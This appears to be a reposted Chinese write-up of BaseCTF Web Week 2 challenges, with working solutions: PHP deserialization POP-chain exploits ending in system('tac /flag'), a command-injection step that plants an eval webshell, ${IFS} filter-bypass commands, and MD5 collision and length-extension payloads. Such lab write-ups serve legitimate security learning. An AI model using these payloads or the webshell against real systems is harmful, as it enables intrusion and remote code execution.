0


BaseCTF-Web-Week2-WP

1、ez_ser

简单的 pop 链构造,关于反序列化的魔术方法、 pop 链构造的详细讲解参考我之前的博客:

CTF - Web 干货_ctf web知识点大全-CSDN博客https://myon6.blog.csdn.net/article/details/135660293

[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客https://myon6.blog.csdn.net/article/details/131565599

exp:

<?php
class re{
    public $chu0;
    public function __toString(){  // 当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等)
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;  // 2 pwn
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {  // wakeup 在反序列化时会自己触发的,也就是链头了
        echo "lalalla".$this->kw;  // 3 re
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {   // 调用类中不存在变量时触发(找有连续箭头的 this->a->b)
        if($this->dusk != "gods"){  
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();  // 1 Misc
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}

$m = new Misc();
$p = new pwn();
$p->over = $m;
$r = new re();
$r->chu0 = $p;
$w = new web();
$w->kw = $r;
echo serialize($w);

?>

构造 payload:

?ser=O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";N;s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}ALL Done!

它这里所有的 if 语句都不影响后面语句执行的,所以其实不用管它赋不赋值,只需要找链子传着走,从链尾传到链头就行了。

2、 一起吃豆豆

F12 被禁用了,右键->检查,打开开发者工具

index.js 里面找到一串 base64 编码:

QmFzZUNURntKNV9nYW0zXzFzX2Vhc3lfdDBfaDRjayEhfQ==

解码:

拿到 flag:BaseCTF{J5_gam3_1s_easy_t0_h4ck!!}

3、你听不到我的声音

给的是 shell_exec 无回显的命令执行函数

根据前面几道题的经验,猜测 flag 在根目录下

payload:

cmd=cat /flag > 1.txt

访问 1.txt 即可看到 flag

如果这种方法不行,我们猜不到它 flag 到底在哪儿以及叫什么名字怎么办呢?

这里什么过滤都没有,直接写入 webshell:

cmd=echo '<?php @eval($_REQUEST[1]); ?>' > 1.php

访问 1.php,回显空白说明解析成功

调用木马:

看一下根目录:

1=system('ls /');

读取 flag:

1=system('tac /flag');

拿到 flag:BaseCTF{104b2b1b-fb0f-4a93-b60b-5d9df9945089}

4、Really EZ POP

同样的配方,先找链尾,很明显是这里:eval($this->cmd);

往上依次找就行了,最开始写出来的 exp 是:

<?php
class Sink
{
    private $cmd = "system('ls');";
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;  
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani(); 
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

$s1 = new Sink();
$s2 = new Shark();
$s2->word = $s1;
$s3 = new Sea();
$s3->animal = $s2;
$n = new Nature();
$n->sea = $s3;
echo serialize($n)

?>

但是 $s2->word = $s1; 中 word 是私有变量,这里是调用不到的,链子顺序没有问题,修改代码访问私有变量。

方法(1)

通过使用 PHP 的反射机制访问和修改类的私有属性:

<?php
class Sink
{
    private $cmd = 'system("tac /flag");';
    public function __toString() // 当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等)
    {
        eval($this->cmd);  // 1 system("ls");
    }
}

class Shark
{
    private $word;
    public function __invoke()  // 对象被当做函数进行调用时触发(找有括号的类似$a()这种)
    {
        echo 'Shark says: ' . $this->word;  // 2 Sink
    }
}

class Sea
{
    public $animal;
    public function __get($name)  // 调用类中不存在变量时触发(找有连续箭头的 this->a->b)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();  // 3 Shark
    }
}

class Nature
{
    public $sea;

    public function __destruct()  // 对象被销毁时自动触发,也就是我们的链头了
    {
        echo $this->sea->see;  // 4 Sea
    }
}

// 按照 1 2 3 4 的顺序编写 exp
$s1 = new Sink();
$s2 = new Shark();

$reflection = new ReflectionClass($s2);
$property = $reflection->getProperty('word');
$property->setAccessible(true);
$property->setValue($s2, $s1);

$s3 = new Sea();
$s3->animal = $s2;
$n = new Nature();
$n->sea = $s3;

echo urlencode(serialize($n));

?>

拿到 flag:BaseCTF{99c9a2fb-a5d2-4dc8-81fa-a6018812131d}

方法(2)

在类中定义一个公有方法,用来设置或更改类的私有属性的值。

<?php
class Sink
{
    private $cmd = "system('ls');";
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';

    public function __invoke()
    {
        echo 'Shark says:' . $this->word;  
    }

    public function setWord($newWord)
    {
        $this->word = $newWord;
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani(); 
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

$s1 = new Sink();
$s2 = new Shark();
$s2->setWord($s1); // 使用 setter 方法
$s3 = new Sea();
$s3->animal = $s2;
$n = new Nature();
$n->sea = $s3;
echo urlencode(serialize($n));
?>

5、RCEisamazingwithspace

ls 可以直接执行,但是这里过滤了 \s,也就是任意空白字符,包括:

空格(space)
制表符(tab)\t
换行符(newline)\n
回车符(carriage return)\r
垂直制表符(vertical tab)\v
换页符(form feed)\f

解法(1)

使用 ${IFS} 代替空格

(说明:IFS是linux的特殊变量,默认值是space空格, $是取变量值,$IFS就代表空格)

cmd=ls${IFS}/

执行成功,读取 flag:

cmd=tac${IFS}/flag

拿到 flag:BaseCTF{ceb13ece-6bef-46d0-b07b-f7382cdf5e9d}

解法(2)

cmd=tac</flag

解法(3)

cmd=tac$IFS$9/flag

解法(4)

cmd=tac$IFS/flag

6、以你说你懂 MD5?

先说前三个,包括md5 数组、字符、强碰撞的绕过:

apple[]=1&banana[]=2&appple=QLTHNDT&bananana=QNKCDZO&apppple=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&banananana=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

最后的这个就真不知道了,看了下题目的提示:MD5 长度拓展攻击

那就脚本原理吧,原本是有一个工具 hashpump,但是我 git 的时候提示找不到仓库了,然后在 github 上找到了一个写好的 python脚本,叫做 hash-ext-attack:

以为自己环境为例

已知hash: 2d3053e40e295fd34fe1931f2b028b49
扩展字符: admin

密钥长度:96

运行得到:

新明文(url编码):%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin
新hash:fd78be8215229fb48e7ac5b4537cb7ae

追加 name 和 md5 参数提交:

apple[]=1&banana[]=2&appple=QLTHNDT&bananana=QNKCDZO&apppple=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&banananana=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=fd78be8215229fb48e7ac5b4537cb7ae

拿到 flag:BaseCTF{8e7fd329-32ec-4ff0-b4d3-a435be42a683}

7、数学大师

注意有 cookie,发送请求的时候要加上

写了个代码来处理:

# @author:Myon
# @time:20240826
import requests
import re

url = 'http://challenge.basectf.fun:43966/'
cookies = {'PHPSESSID': 's61uaat8ivhrnipm0pqehmvu8a'}

# 第一次 GET 请求
response = requests.get(url, cookies=cookies)
print(response.text)

# 循环 50 次
for i in range(50):
    # 从响应中匹配计算表达式,\d+ 匹配一个或多个连续的数字,注意 \-\+\*\/ 需要转义,在正则表达式中,连字符 - 通常表示一个范围;+ 是量词,表示前面的元素可以重复一次或多次;* 表示零次或多次;/ 是正则表达式的边界
    match = re.search(r'\d+[×÷\-\+\*\/]\d+', response.text)
    if match:
        # 对表达式进行处理,乘号换为星号,除号换为取整
        expression = match.group(0).replace('×', '*').replace('÷', '//')
        print(expression)
        # 直接将表达式丢给 eval 处理
        result = eval(expression)
        print(result)
        payload = {'answer': result}
        # POST 提交结果,响应结果作为下次提取的对象
        response = requests.post(url, data=payload, cookies=cookies)
        print(response.text)
    else:
        # 没有匹配到计算表达式,结束循环
        break

注意,它第二次的题目是来源于第一次的响应而不是再次从 get 请求中获取

拿到 flag:BaseCTF{2e9b0802-c642-4224-9035-653cbd8f64fe}

标签: 前端 学习 web安全

本文转载自: https://blog.csdn.net/Myon5/article/details/141528406
版权归原作者 Myon⁶ 所有, 如有侵权,请联系我们删除。

“BaseCTF-Web-Week2-WP”的评论:

还没有评论